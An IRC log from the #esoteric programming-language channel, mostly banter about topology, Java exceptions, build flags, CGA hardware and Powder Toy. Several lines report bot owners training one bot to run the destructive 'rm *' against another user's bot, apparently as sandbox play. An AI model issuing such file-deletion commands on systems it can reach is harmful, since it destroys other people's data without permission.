08:14:05 <oerjan> i hav crayted a munster
08:14:14 <hppavilion[1]> shachaf: Oh, that's a british thing IIRC
08:14:38 <oerjan> hppavilion[1]: I TRIDE VERY HARD OK
08:15:03 <hppavilion[1]> Americans saying "special" usually doesn't mean an insult; it's either what we call slow children so as not to sound offensive or tell every child they are a snowflake of quality
08:15:32 <hppavilion[1]> Then they enter the real world, and find that not everyone is going to love them and pay as much attention to them and care about their well-being as much as their mother did
08:15:50 -!- xkapastel has quit (Quit: Connection closed for inactivity).
08:15:52 <hppavilion[1]> Some take it well. Others... well, you've seen tumblr
08:19:09 <\oren\> hppavilion[1]: savage
08:21:01 <\oren\> In retrospect i'm glad my parents took me traveling with them to other countries instead of going to school most years
08:22:32 <\oren\> Because what annoys me most about many of these people isn't their entitlement, it's their ignorance of the different ways of life that exist in other civilized countries from the US
08:23:46 <\oren\> They act like things that offend their tiny cultural subgorup within the US's liberal city dweller cultural group are universally bad...
08:24:24 <shachaf> I remember when I was young and learning to use computers with Microsoft Word 97. I liked the WordArt feature.
08:24:31 <shachaf> In retrospect, I was pretty entitled.
08:25:18 <\oren\> For example, nooone here in Akihabara is offended that Motoko will be played by a white woman.
08:26:29 -!- augur has quit (Remote host closed the connection).
08:30:51 <\oren\> The entitlement part doesn't annoy me because I'm super entitled too.
08:31:16 <shachaf> i was actually just making a pun hth
08:32:28 <\oren\> Oh
08:32:42 <\oren\> oigeditnao
08:36:34 -!- hppavilion[1] has quit (Ping timeout: 252 seconds).
08:44:41 -!- Frooxius has joined.
09:22:09 -!- Jon777 has joined.
09:22:12 <Jon777> hello
09:22:27 <Jon777> anyone around
09:22:29 <shachaf> `welcome Jon777
09:22:37 <HackEgo> Jon777: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/>. (For the other kind of esoterica, try #esoteric on EFnet or DALnet.)
09:22:49 <Jon777> ohhh
09:22:51 <Jon777> programming
09:22:53 <Jon777> nvm
09:22:56 -!- Jon777 has left.
09:42:29 <Taneb> I'm always surprised when that happens
09:44:56 <shachaf> When you discover that this channel is about programming?
09:54:31 <Taneb> Yes
09:57:02 <qrf> Lisp-like syntax is far easier to parse than C-like expressions with infix operators and annoying precedence rules, right?
09:59:05 <\oren\> mmm... maybe
10:06:06 -!- oerjan has quit (Quit: (N (i t) e)).
10:06:17 -!- Froox has joined.
10:09:51 -!- Frooxius has quit (Ping timeout: 250 seconds).
10:11:31 -!- Froox has quit (Quit: *bubbles away*).
10:38:17 -!- gamemanj has joined.
11:14:31 <Taneb> Am I right in thinking that a topology imposes a bounded lattice on its open (and similarly closed) sets?
11:25:26 <\oren\> Taneb: *looks up lattice* sounds right to me, although i think it's a bit stronger because a topology allows infinite unions (but not infinite intersections)
11:31:24 <shachaf> Taneb: It's not just a lattice, it's a complete Heyting algebra.
11:47:24 -!- heroux has quit (Ping timeout: 272 seconds).
11:48:36 -!- boily has joined.
11:51:07 <Taneb> shachaf, I do not know what a Heyting algebra is
11:51:23 <shachaf> it's exactly the sort of lattice you want hth
11:51:38 <shachaf> well, when it's complete
11:51:40 <shachaf> https://en.wikipedia.org/wiki/Complete_Heyting_algebra
11:52:43 <shachaf> Or maybe you want a frame. Or a locale.
11:53:00 <shachaf> Fortunately frames and locales are just complete Heyting algebras.
11:57:21 -!- Phantom_Hoover has joined.
11:57:25 -!- heroux has joined.
11:57:44 <shachaf> Taneb: do you invent things involving drugz
11:57:56 <Taneb> shachaf, not often
11:58:57 <shachaf> `le/rn sober space/Sober spaces are the dual of Stoned spaces. Taneb invented them.
12:00:02 <HackEgo> Learned «sober space»
12:02:38 <shachaf> `locale
12:02:39 <HackEgo> LANG=en_NZ.UTF-8 \ LANGUAGE= \ LC_CTYPE="en_NZ.UTF-8" \ LC_NUMERIC="en_NZ.UTF-8" \ LC_TIME="en_NZ.UTF-8" \ LC_COLLATE="en_NZ.UTF-8" \ LC_MONETARY="en_NZ.UTF-8" \ LC_MESSAGES="en_NZ.UTF-8" \ LC_PAPER="en_NZ.UTF-8" \ LC_NAME="en_NZ.UTF-8" \ LC_ADDRESS="en_NZ.UTF-8" \ LC_TELEPHONE="en_NZ.UTF-8" \ LC_MEASUREMENT="en_NZ.UTF-8" \ LC_IDENTIFICATION="en_NZ
12:03:22 <shachaf> `learn Locales are just frames, which are just complete Heyting algebras. Taneb accidentally invented them by asking a question about lattices. The only locale available in #esoteric is en_NZ.UTF-8.
12:03:37 <HackEgo> Learned 'locale': Locales are just frames, which are just complete Heyting algebras. Taneb accidentally invented them by asking a question about lattices. The only locale available in #esoteric is en_NZ.UTF-8.
12:03:45 -!- hppavilion[1] has joined.
12:03:46 <hppavilion[1]> https://www.youtube.com/channel/UCGJykI0BRfFV044deqERlxQ (OskarPuzzle) has now joined the prestigious ranks of those I have subscribed to
12:04:10 <\oren\> I rarely subscribe to anyone
12:05:42 <hppavilion[1]> \oren\: He does gears
12:06:11 <hppavilion[1]> He made irrational gears
12:15:24 <shachaf> `le/rn stone space/Stone spaces were invented by P. T. Barnum as a hoax.
12:15:35 <HackEgo> Learned «stone space»
12:16:07 <shachaf> Hmm, maybe I should say they were invented by Peter "Taneb" Johnstone.
12:16:12 <shachaf> Nah, enough Tanebventions.
12:17:03 <shachaf> oerjan: that wisdom entry is a pretty good start but you'll have to finish it hth
12:17:37 <boily> is oerjan awake?
12:17:41 <shachaf> `sled wisdom/locale//s/a question //
12:17:48 <HackEgo> wisdom/locale//Locales are just frames, which are just complete Heyting algebras. Taneb accidentally invented them by asking about lattices. The only locale available in #esoteric is en_NZ.UTF-8.
12:17:50 <shachaf> I don't know.
12:18:00 <shachaf> He's not in this channel, but that's OK.
12:18:16 <shachaf> A logreader's work is never done.
12:18:31 <izabera> just kill all the logwriters
12:20:22 <boily> no. they bring Balance to the Wisdom.
12:20:49 <boily> without a driving force of unlatexifiable entries, without tanebventions, I lack purpose. the Wisdom shall prevail!
12:22:36 <shachaf> `learn A frame is just a complete Heying algebra. The difference is that a frame homomorphism doesn't preserve implication, if you know what I mean.
12:22:43 <HackEgo> Learned 'frame': A frame is just a complete Heying algebra. The difference is that a frame homomorphism doesn't preserve implication, if you know what I mean.
12:23:00 <shachaf> `sedlast s/y/yt/
12:23:52 <shachaf> I assume that a Heying algebra is a more casual version of what boily studies.
12:24:10 <boily> Heying or Heyting?
12:24:37 <boily> what do I study?
12:25:18 <HackEgo> No output.
12:25:19 <shachaf> Helloing algebra?
12:26:12 <shachaf> `sedlast s/y/yt/
12:26:43 <HackEgo> wisdom/frame//A frame is just a complete Heyting algebra. The difference is that a frame homomorphism doesn't preserve implication, if you know what I mean.
12:27:59 <shachaf> `sedlast s/The difference is that/However,/;s/ism doesn't/isms don't/;s/a f/f/
12:28:01 * boily facepalms
12:28:07 <boily> Heying algebra. indeed.
12:28:09 <HackEgo> wisdom/frame//A frame is just a complete Heyting algebra. However, frame homomorphisms don't preserve implication, if you know what I mean.
12:29:42 -!- zxccz has joined.
12:31:19 -!- zxccz has quit (Client Quit).
12:34:42 -!- heroux_ has joined.
12:35:19 -!- heroux has quit (Read error: Connection reset by peer).
12:35:25 -!- heroux_ has changed nick to heroux.
12:42:15 <shachaf> `? pointless topology
12:42:18 <HackEgo> pointless topology? ¯\(°​_o)/¯
12:45:27 <shachaf> `le/rn pointless topology//Pointless topology is the kind of topology Taneb invents.
12:45:31 <shachaf> curses
12:45:35 <HackEgo> Learned «pointless topology»
12:45:36 <shachaf> i fell into the oerjan trap
12:45:41 <shachaf> `? pointless topology
12:45:44 <HackEgo> ​/Pointless topology is the kind of topology Taneb invents.
12:45:56 <shachaf> `sedlast s./..
12:46:04 <shachaf> s./.. and s/.// both work here.
12:46:08 <HackEgo> wisdom/pointless topology//Pointless topology is the kind of topology Taneb invents.
12:46:48 <ybden> `? ism
12:46:50 <HackEgo> ism? ¯\(°​_o)/¯
12:49:13 <izabera> trying to compile stuff and they use -Werror and gcc stops because misleading indentation
12:49:20 <izabera> what do
12:50:00 <izabera> 1) report it and wait 2) fix the indentation myself hoping i get the fix right
12:50:34 <shachaf> 3) turn off -Werror
12:51:45 <izabera> it's inside a makefile generated by their build system
12:52:13 <izabera> ok that's unlikely but it's inside something i don't know in their build system
12:54:21 <izabera> i tried with clang and it doesn't die there, but it can't compile the next file because of -Werror,-Wlogical-not-parentheses
13:21:51 -!- boily has quit (Quit: DELIVERED CHICKEN).
13:24:23 <\oren\> try removing all indentation and unnecessary whitespace
13:25:40 <b_jonas> yes, turn off -Werror, and also report it
13:27:32 <\oren\> not sure why any warnings are useful in a production build script for end users?
13:37:11 <b_jonas> oh shut UP you stupid whatever it is beeping on the street
13:37:48 <b_jonas> `cone_of_silence
13:37:51 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: cone_of_silence: not found
14:09:36 -!- iaglium_ has joined.
14:11:22 <ybden> izabera: also tell them to remove -Werror from their buildscripts, it's pretty silly since that compiler updates could cause it to fail
14:19:46 -!- hppavilion[1] has quit (Ping timeout: 252 seconds).
14:42:43 -!- copumpkin has joined.
15:18:25 -!- iaglium_ has quit (Quit: Bed Time).
15:21:49 -!- iaglium has joined.
15:30:05 -!- lambda-11235 has joined.
15:32:29 -!- Kaynato has joined.
16:10:38 -!- moon_ has joined.
16:10:42 -!- augur has joined.
16:14:42 <moon_> ybden: why'd u leave? if its because of spockers' hexxley bot, ill ask him to change the precentage that controls postin
16:15:10 <ybden> moon_: well, it was also because that snapshot of yours keeps creating a directory named ybden
16:15:16 <ybden> moon_: which invariably highlights me
16:15:24 <moon_> oh, ill override that
16:15:29 <ybden> provided that I don't get random pointless highlights, I'll rejoin
16:16:10 <moon_> kk, ill talk to spockers about tuning down hexxley's posting chance when he is not mentioned
16:16:58 <ybden> moon_: well, pretty much make sure it doesn't type nicks if the nick in question isn't talking to it
16:25:08 -!- lambda-11235 has quit (Max SendQ exceeded).
16:26:55 -!- lambda-11235 has joined.
16:28:26 -!- moon_ has quit (Ping timeout: 250 seconds).
16:29:35 -!- dnm has quit (Ping timeout: 260 seconds).
16:46:06 -!- lambda-11235 has quit (Max SendQ exceeded).
16:50:10 -!- heroux has quit (Quit: Lost terminal).
16:56:32 -!- lambda-11235 has joined.
17:14:57 -!- jaboja has joined.
17:24:25 <zzo38> I looked more at the schematics and documentation for PC CGA, it seem there is two unused address bits for the character ROM?
17:26:14 <gamemanj> those are the voodoo bits. You use them to automatically perform mystical rituals which will summon the extra 768 characters
17:27:50 <zzo38> A version that uses them could control them by bit4 and bit5 of the 0x3D9 register (which are not otherwise used in alphanumeric mode).
17:30:08 -!- jaboja has quit (Read error: Connection reset by peer).
17:30:24 <zzo38> gamemanj: The schematics show that one is fixed high and one is pulled up by a resistor, although the documentation suggests that one of them is controlled by a jumper.
17:40:55 -!- heroux has joined.
17:41:15 -!- lambda-11235 has quit (Ping timeout: 264 seconds).
17:43:42 -!- Koen_ has joined.
17:47:18 <zzo38> One bit of status register says: "The ALPHA video output signal is readable in this status bit. Its purpose is to verify that video information is being generated for RAS purposes." What does "RAS purposes" mean?
17:47:35 -!- lambda-11235 has joined.
17:48:07 <gamemanj> Probably something like "Repair And Service"
17:48:23 <zzo38> OK
17:49:18 <b_jonas> zzo38: my guess is https://en.wikipedia.org/wiki/Reliability,_availability_and_serviceability_(computing)
17:51:02 <zzo38> OK, I would guess probably it is, too
17:52:22 -!- augur has quit (Remote host closed the connection).
18:04:34 -!- boily has joined.
18:14:12 <zzo38> I would think that if they did use the extra address bits like I mentioned then you could add additional 320x200 and 640x100 modes without any additional logic, with sixteen colours, selectable two in a 4x2 area or a 8x1 area.
18:14:28 <boily> “You finish putting on the +0 cloak of Distant Shores {rF+ Regen+}.” aaaaw yisss
18:15:02 <b_jonas> boily: what game is that? crawl?
18:16:02 <boily> b_jellonas. yup!
18:16:17 <boily> “You finish putting on the +1 hat of Duck's Teeth {rN+}.”
18:16:25 <b_jonas> what's "rF+"?
18:16:26 <boily> I'm so gonna die soon...
18:16:35 <boily> one positive lever of fire resistance hth
18:16:36 <b_jonas> fire resistance?
18:16:45 <b_jonas> hmm no
18:16:48 <b_jonas> I dunno
18:16:54 <b_jonas> ah
18:17:03 <b_jonas> then what's "rN+"?
18:18:37 <boily> same, but necrotic resistance.
18:18:57 -!- Koen_ has quit (Remote host closed the connection).
18:21:06 <b_jonas> ah
18:21:17 <b_jonas> drain resistance
18:21:41 <boily> crawl is a fun game. I'm blasting my way through the levels with explosions and sparkles and booms :D
18:21:54 <boily> rN also covers torment.
18:23:27 <b_jonas> explosions you're immune to?
18:24:45 <tswett> I'm thinking there's an easy test for whether any given piece of Java code is good or bad.
18:24:51 <tswett> Does it contain the phrase "throws Exception"?
18:24:53 <tswett> If so, it's bad.
18:25:18 -!- lambda-11235 has quit (Ping timeout: 244 seconds).
18:25:45 <boily> b_jonas: depends. usual stuff is harmless to my avatar. more powerful things I have to be careful.
18:26:09 <boily> tswellott. exception handling in Java is a pain.
18:26:21 <boily> I wouldn't say "throws Exception" is bad. it's just stupid.
18:27:03 <boily> "catch (Exception e)" or "catch (Throwable e)" deserves repeated application of a sturdy clue-by-four.
18:27:27 -!- lambda-11235 has joined.
18:27:51 <tswett> Now, I don't quite remember how the hierarchy of checked and unchecked exceptions and whatnot works...
18:28:19 -!- moon_ has joined.
18:29:00 <boily> I don't know, and I refuse to know. only throw the most precise exceptions, only catch exactly those that you need to handle now. everything else gets rejected when I do code review, with a sticky "-2" in Gerrit.
18:29:52 <tswett> Right, so Error and RuntimeException are the unchecked base classes. Everything else is checked.
18:30:16 -!- lambda-11235 has quit (Max SendQ exceeded).
18:30:46 <boily> I once tried to sneak a "throw new NullPointerException()" in a patchset I submitted :D
18:30:49 <b_jonas> boily: yup
18:30:51 -!- lambda-11235 has joined.
18:31:34 <b_jonas> boily: could you review my coworkers' code that way? I need some catches gone.
18:32:46 <moon_> boily: havocbot is online
18:33:09 <moon_> and you can tear it apart (just not the /s drive)
18:35:59 <tswett> And Error is supposed to be only for error conditions of the JVM, leaving you RuntimeException for when you want some kind of unchecked exception.
18:37:25 <moon_> boily: ybden beat you to it
18:37:30 <moon_> hbot is rekt
18:37:43 <boily> aurgh!
18:38:28 <moon_> not fully tho
18:38:38 <moon_> the bot interface and the main gentoo linux is still online
18:38:41 <moon_> and functional
18:38:47 <moon_> even after virtual drive damage
18:39:36 <ybden> moon_: there you go
18:40:18 <moon_> sys.revive
18:44:26 <zzo38> The modification to CGA that I suggested could be used to add a graphics mode similar to MSX but higher resolution and without sprites. (Wikipedia says MSX 1 can use two colours in each 8x1 area.)
18:51:50 -!- Koen_ has joined.
18:56:32 <boily> Koenjour_!
19:01:08 <quintopia> helloily
19:03:06 <boily> quinthellopia!
19:03:38 -!- jaboja has joined.
19:04:18 <boily> Koen_: how's the Euro?
19:04:56 <Koen_> to be honest I've never been a big fan of football
19:05:09 <Koen_> the world amateur go championship took place last week though
19:05:12 <moon_> hexxley just rm * 'd hbot
19:05:32 <moon_> its actually funny
19:11:18 -!- augur has joined.
19:13:38 <moon_> Havocbot has been moved to #havocbot to evade hexxley preforming destructive commands, as ybden trained him to do so
19:14:54 <Koen_> soooo Facebook just released their go playing program
19:15:22 <Koen_> and by "released" I mean "made the sources publicly available"
19:21:10 -!- yorick has quit (Quit: No Ping reply in 180 seconds.).
19:22:27 -!- yorick has joined.
19:22:27 -!- yorick has quit (Changing host).
19:22:27 -!- yorick has joined.
19:26:27 -!- impomatic_ has quit (Ping timeout: 260 seconds).
19:30:05 -!- Vorpal has joined.
19:32:51 -!- jaboja has quit (Ping timeout: 264 seconds).
19:39:50 -!- boily has quit (Quit: FURRY CHICKEN).
19:44:02 -!- Koen_ has quit (Remote host closed the connection).
19:46:56 -!- Koen_ has joined.
19:55:44 -!- shikhin has changed nick to chrono^Wshikhin.
19:55:55 -!- chrono^Wshikhin has changed nick to shikhin.
19:57:36 -!- Reece` has joined.
20:03:18 -!- hwpplayer1 has joined.
20:12:05 -!- augur has quit (Remote host closed the connection).
20:12:21 -!- lambda-11235 has quit (Ping timeout: 276 seconds).
20:14:27 -!- Frooxius has joined.
20:23:29 -!- xkapastel has joined.
20:30:36 -!- Reece` has quit (Quit: Alsithyafturttararfunar).
20:41:04 -!- hwpplayer1 has left.
20:55:14 <moon_> join/quit spam broken
21:06:30 <zzo38> We should need to add many remote data sources that can be access by SQLite extension; you can then make SQL queries on them and can easily combine the data together, such as if you want to make a graph to compare flight delays with golf scores (in such case you would also need another extension to draw a graph).
21:12:21 -!- xfix has quit (Remote host closed the connection).
21:19:47 -!- augur has joined.
21:39:24 -!- lambda-11235 has joined.
21:46:43 -!- shikhin has changed nick to idraumr.
21:47:19 -!- idraumr has changed nick to shikhin.
21:58:26 -!- xfix has joined.
22:09:48 -!- Sgeo has joined.
22:10:41 -!- Sgeo_ has quit (Ping timeout: 240 seconds).
22:10:45 -!- AnotherTest has joined.
22:16:43 -!- AnotherTest has quit (Quit: ZNC - http://znc.in).
22:21:18 -!- gamemanj has quit (Ping timeout: 250 seconds).
22:32:04 -!- augur has quit (Remote host closed the connection).
22:35:16 -!- jaboja has joined.
22:38:34 <moon_> i wonder, what should i add to havocbot
22:39:12 <zzo38> Make a video card that is design to be use with X window system; I thought of how its features would do. There are 64 palettes (two of which cannot be modified) each with 256 colours and 9 extra bits to decide which planes select red/green/blue. There are then 32 planes; six of them are used to select a palette. There are four 16x16 sprites with three colours + transparent. Memory can be accessed in XY format or Z format through the blitter.
22:53:01 -!- augur has joined.
23:07:34 -!- augur has quit (Remote host closed the connection).
23:15:28 <moon_> maybe ill make a trick to render up to 16x16 images over irc
23:15:56 <moon_> using all 16 colors
23:29:19 <izabera> http://www.smbc-comics.com/index.php?id=2831 this is sleep sort?
23:37:08 <pikhq> izabera: Yes.
23:37:21 <izabera> then the complexity is off
23:59:14 -!- augur has joined.
2016-06-13
00:06:45 <HackEgo> [wiki] [[Brainscrambler]] https://esolangs.org/w/index.php?diff=47195&oldid=20934 * 78.67.213.26 * (+68)
00:17:31 -!- augur has quit (Quit: Leaving...).
00:24:20 -!- moon_ has quit (Quit: hbot: rm *).
00:34:16 -!- jaboja has quit (Read error: Connection reset by peer).
00:43:34 -!- moon_ has joined.
00:50:02 -!- dnm has joined.
00:59:26 <shachaf> `? complete heyting algebra
00:59:45 <HackEgo> complete heyting algebra? ¯\(°​_o)/¯
01:00:05 <shachaf> `? locale
01:00:07 <HackEgo> Locales are just frames, which are just complete Heyting algebras. Taneb accidentally invented them by asking about lattices. The only locale available in #esoteric is en_NZ.UTF-8.
01:00:09 <shachaf> `? frame
01:00:14 <HackEgo> A frame is just a complete Heyting algebra. However, frame homomorphisms don't preserve implication, if you know what I mean.
01:00:16 <shachaf> `? pointless topology
01:00:18 <HackEgo> Pointless topology is the kind of topology Taneb invents.
01:00:28 <tswett> `? heyting algebra
01:00:30 <HackEgo> heyting algebra? ¯\(°​_o)/¯
01:00:41 <shachaf> `sled wisdom/locale//s/However, f/F/
01:00:43 <HackEgo> wisdom/locale//Locales are just frames, which are just complete Heyting algebras. Taneb accidentally invented them by asking about lattices. The only locale available in #esoteric is en_NZ.UTF-8.
01:00:50 <shachaf> oops
01:00:56 <tswett> I wonder what the idiom in Java is for when a method you're calling throws a checked exception and you don't want to handle it.
01:00:59 <shachaf> `sled wisdom/frame//s/However, f/F/
01:01:03 <HackEgo> wisdom/frame//A frame is just a complete Heyting algebra. Frame homomorphisms don't preserve implication, if you know what I mean.
01:01:29 <shachaf> the idiom is try { ... } catch (StrangeException e) {} hth
01:01:50 <shachaf> `? sober space
01:01:52 <HackEgo> Sober spaces are the dual of Stoned spaces. Taneb invented them.
01:01:56 <shachaf> `? stone space
01:01:58 <HackEgo> Stone spaces were invented by P. T. Barnum as a hoax.
01:03:19 <tswett> `? help
01:03:20 <HackEgo> Help is on the way. We don't know where the way is, though. You might try `help instead.
01:03:58 <tswett> I was hoping that that wouldn't exist, because then I could have done: `le/rn help/The wisdom entry for "help" isn't very helpful.
01:04:14 <shachaf> But that's kind of a tired joke, isn't it?
01:04:27 <shachaf> I mean, pretty much the whole joke is that it's self-referential.
01:04:40 <shachaf> But we're used to self-reference in here. We don't need hundreds of jokes about it.
01:06:37 <shachaf> `le/rn complete heyting algebra/A complete Heyting algebra is just a cartesian closed complete lattice.
01:06:39 <HackEgo> Learned «complete heyting algebra»
01:06:55 <shachaf> Is that true?
01:08:04 <tswett> `? lattice
01:08:06 <HackEgo> lattice? ¯\(°​_o)/¯
01:22:51 -!- Koen_ has quit (Quit: “It’s only logical. First you learn to talk, then you learn to think. Too bad it’s not the other way round.”).
01:30:14 -!- hppavilion[1] has joined.
01:31:59 -!- deltab has quit (Quit: Changing server).
01:34:00 <hppavilion[1]> Someone just made a pact on the internet
01:34:20 <hppavilion[1]> If non-US people call common football "soccer" when calling it "football" would make things abiguous
01:34:42 <hppavilion[1]> We'll call our American football "handegg" in similarly ambiguous situations
01:35:45 <moon_> i found something called powdertoy (http://powdertoy.co.uk/) it has had computers made in it, so ima make a brainfuck interpreter
01:37:23 <tswett> There are computers written in the Powder Toy?
01:37:28 <moon_> mhm
01:37:42 <moon_> functional ones, fastest one i have seen is 1hz
01:37:53 -!- deltab has joined.
01:38:17 <moon_> The synergy computer being the best example (29-bit!)
01:39:15 <moon_> The synergy computer also comes with a instruction set
01:40:52 <moon_> actually, make the fastest one i have seen 1.5hz
01:42:02 <Phantom_Hoover> brainfuck interpreter sounds doable
01:42:31 <moon_> in 255 instructions?
01:42:37 <moon_> or in a custom computer
01:42:44 <Phantom_Hoover> just a string of binary counters or something
01:42:47 <Phantom_Hoover> custom
01:42:50 <moon_> ah
01:43:21 <moon_> here, leme pull up the synergy instruction set and info, you might find it intresting ,and brainfuck is doable+1 :P
01:43:34 <moon_> http://powdertoy.co.uk/Discussions/Thread/View.html?Thread=19974
01:44:04 <moon_> the synergy computer has most of its space taken up by a screen, by the way
01:45:51 <Phantom_Hoover> yes i advise you to build the circuitry from scratch
01:46:07 <moon_> '' 001111: blows the computer up '' i wonder what happens if i print that twice
01:46:11 <moon_> ik :P
01:46:21 <moon_> output will be a little funky
01:46:25 <Phantom_Hoover> if you print it once the computer blows up
01:46:28 <Phantom_Hoover> so there won't be a twice
01:47:09 <moon_> i dont see any TNT, NITR, or any other explosive
01:47:16 <moon_> there _might_ be a twice
01:49:42 <Phantom_Hoover> i have no idea how the bit representation in this works
01:49:53 <moon_> learn TPT's physics
01:50:14 <moon_> you have 100 or so elements to work with (=
01:51:09 <Phantom_Hoover> i've played around with tpt for years
01:51:26 <moon_> username?
01:51:33 <Phantom_Hoover> i never uploaded anything
01:51:40 <moon_> oh
01:51:53 <Phantom_Hoover> i think this encodes words in the spectrum of FILT
01:52:07 <Phantom_Hoover> which i suspect is not accessible ingame
01:52:32 <moon_> then why is there read/write FILT ram? filt is changed by temp
01:52:48 <Phantom_Hoover> check the memory, it's all at 22 degrees
01:52:59 <moon_> huh, your right
01:53:28 <moon_> filt has 5-10 modes tho
01:54:03 <tswett> I always like to create a box filled with water, and put a heat source at the bottom and a cold source at the top.
01:54:09 <hppavilion[1]> Do people in countries outside the US refer to black people as "African American"?
01:54:42 <moon_> tsweet, convection, as far as i know, is not modeled
01:54:46 <moon_> unless your making rain
01:54:50 <hppavilion[1]> Primarily European countries, where referring to most people as "American" would usually get you funny looks
01:55:09 <pikhq> hppavilion[1]: I highly doubt it.
01:55:21 <hppavilion[1]> pikhq: I would have too
01:55:54 <hppavilion[1]> pikhq: But I was watching a YouTube video today and they mentioned a guy (who I assume was british) correcting someone who called him "African American" on the grounds that he was neither african nor american
01:56:28 <Phantom_Hoover> yes, people tend to think you're an idiot if you do so
01:57:11 <Phantom_Hoover> moon_, the self-destruct works by cloning in some explosive btw
01:57:17 <moon_> ah
01:57:26 <moon_> SING?
01:57:35 <Phantom_Hoover> no
01:57:45 <tswett> Looks like Powder Toy still has that thing where turning water into steam requires no heat.
01:57:57 <moon_> no..
01:58:07 <moon_> water becomes steam at 100C as far as i know
01:58:16 <moon_> and as much as logic tells me, that should be true
01:58:32 <tswett> Well, yeah, I mean that thing where heating water from 99C to 101C is as easy as heating it from 97C to 99C.
01:58:39 <moon_> tswett: you have a tpt account?
01:58:45 <tswett> Nope.
01:59:12 <pikhq> Also, using "African American" instead of "black" is not a great way of being more "correct" -- essentially nobody has a preference for one over the other.
01:59:12 <moon_> I do :P
02:01:33 <\oren\> Well seeing as most black people I know aren't American...
02:01:42 <moon_> i found the explosives Phantom_Hoover , its FIRW
02:01:43 <tswett> I wonder all of a sudden.
02:01:53 <pikhq> \oren\: I was speaking purely in an American racial context, mind.
02:02:00 <Phantom_Hoover> etrd is great because it completely fucks things up
02:02:10 <moon_> i have to agree
02:02:13 <tswett> How easy would it be to power a power plant using boiling hot water?
02:02:15 <moon_> all the PLSM!
02:02:21 <pikhq> ... Obviously if you use "African American" to describe someone who is in no way connected to America, you're being pretty dumb.
02:02:27 <moon_> tsweet
02:02:32 <moon_> dtec
02:02:39 <tswett> What's this, now?
02:02:47 <moon_> DTEC, or detector
02:02:58 <\oren\> In Canada afaict the correct term is always "Black". People aren't offended by "african canadian" but they'll look at you like you're an idiot
02:03:01 <tswett> I should mention, I'm talking about real life.
02:03:07 <moon_> oh
02:03:13 <moon_> *now embarassed*
02:03:32 <tswett> Nah, my question was ambiguous.
02:03:37 <tswett> Boiling hot water is, of course, not very useful for powering a steam turbine.
02:03:44 <pikhq> "Black" is slightly preferred over "African American" in informal contexts, and vice versa in formal contexts, but both are considered generally correct and acceptable in the US.
02:04:24 <pikhq> But a few people hypercorrect and use "African American" always, even when incorrect, and come across as idiots.
02:04:41 <moon_> Phantom_Hoover: i just convinced it to erase its keyboard
02:04:51 <moon_> totally not idiot proof
02:04:54 <pikhq> (tip: Barack Obama is African American. Mandela is not African American.)
02:04:55 <Phantom_Hoover> ha
02:05:06 <moon_> by the way
02:05:18 <moon_> it is currently strobing due to idiot edition usage
02:05:45 <tswett> So given a bunch of boiling-hot water, and an endless supply of room-temperature air, how do you heat some of the water so that it boils?
02:06:07 <\oren\> nuclear fusion
02:06:45 <moon_> ^
02:07:01 <moon_> just pull the pump's turn on switch
02:07:15 <\oren\> well I suppose some of the water would then technically no longer qualify as "water" due to nuclear transmutation but still
02:07:20 <pikhq> tswett: Heat pump?
02:07:47 <Phantom_Hoover> tswett, define 'endless supply'
02:07:55 <pikhq> Though really you can probably do things a lot simpler than that.
02:08:00 <tswett> Phantom_Hoover: no.
02:08:03 <pikhq> You *have* a nice heat gradiant there.
02:09:43 <\oren\> it's raining!!!!
02:09:51 <pikhq> You could, for instance, just run a Stirling engine with one cylinder in the water and one cylinder in the air.
02:10:31 <pikhq> And not even need steam for it to work.
02:10:39 <tswett> Right.
02:10:50 <\oren\> @metar RJTT
02:10:51 <lambdabot> RJTT 130100Z 02022KT 3800 SHRA BR FEW004 BKN006 BKN008 20/20 Q0998 TEMPO 3000 SHRA BR FEW003 BKN005 RMK 1ST004 5ST006 6ST008 A2948
02:11:22 <moon_> "Here's an interesting fact: you're not breathing real air. It's too expensive to pump this far down. We just take carbon dioxide out of a room, freshen it up a little, and pump it back in. So you'll be breathing the same room full of air for the rest of your life. I thought that was interesting."
02:11:36 <moon_> my answer from a while back
02:11:45 <moon_> *for not from
02:12:56 <FreeFull> But that's what astronauts do so it can't be so bad
02:13:50 <\oren\> spaceships tend to stink though
02:13:50 <moon_> #claustophobia
02:14:54 <pikhq> tswett: And of course if efficiency doesn't matter a thermoelectric generator will do you nicely.
02:16:04 -!- Phantom_Hoover has quit (Read error: Connection reset by peer).
02:18:23 <hppavilion[1]> Ugh
02:18:32 <hppavilion[1]> Someone made a video called "Who owns english?"
02:19:07 <zzo38> Do you know the answer of such question?
02:19:52 <shachaf> What question?
02:20:22 <zzo38> Who english?
02:20:48 <hppavilion[1]> zzo38: Yes: It's a stupid question because you can't own a language
02:21:03 <hppavilion[1]> Well, unless it was invented recently, and even then it's stupid to try to control it
02:21:04 <moon_> ^ +1
02:21:12 <pikhq> hppavilion[1]: Tell that to Paramount.
02:21:25 <shachaf> I can own a language.
02:21:29 <hppavilion[1]> pikhq: *sigh* what did Paramount do?
02:22:01 <pikhq> Sue a fan film for using Klingon.
02:22:34 <hppavilion[1]> pikhq: ...seriously?
02:22:48 <pikhq> Friendly advise for anyone with a bit of media with a very highly invested fan base: don't sue them. They *are* your audience.
02:22:51 <pikhq> Seriously.
02:23:17 <zzo38> I agree they should not force to control/own it
02:23:35 <hppavilion[1]> I believe languages should be legally exempt from copyright
02:23:35 <shachaf> star trek is dead anyway
02:23:40 <shachaf> tell them not to cling on to the past
02:23:52 <pikhq> One of the amicus briefs is partly in Klingon.
02:23:57 <hppavilion[1]> shachaf: ...was that a pun?
02:24:01 <pikhq> shachaf: There's a new series coming which might not suck.
02:24:15 <hppavilion[1]> shachaf: Or was it an un-pun? A place where you made it so you could put a pun, but then didn't?
02:26:16 <hppavilion[1]> Hm... You can't own a word (you can prevent people from using it to advertise themselves by trademark, but you can't prevent people from ever saying it)
02:26:23 <hppavilion[1]> And thus you can't own a vocabulary
02:26:32 <hppavilion[1]> And thus you can't own a language
02:30:40 <moon_> i found a wierd language: https://esolangs.org/wiki/SPAM/1
02:38:53 <tswett> The behavior of pressure in TPT seems really weird.
02:39:31 <moon_> it is
02:39:48 <moon_> try making a container of superheated WARP, and then opening it after a little
02:40:02 <moon_> in view 2 (Acessed by hitting the 2 key)
02:40:05 <tswett> I've got a bunch of water that's stuck up in the air thanks to prsesure.
02:40:21 <moon_> pressure does funny things
02:44:00 <tswett> I wonder what it's supposed to represent.
02:44:09 <moon_> Pressure, obviously
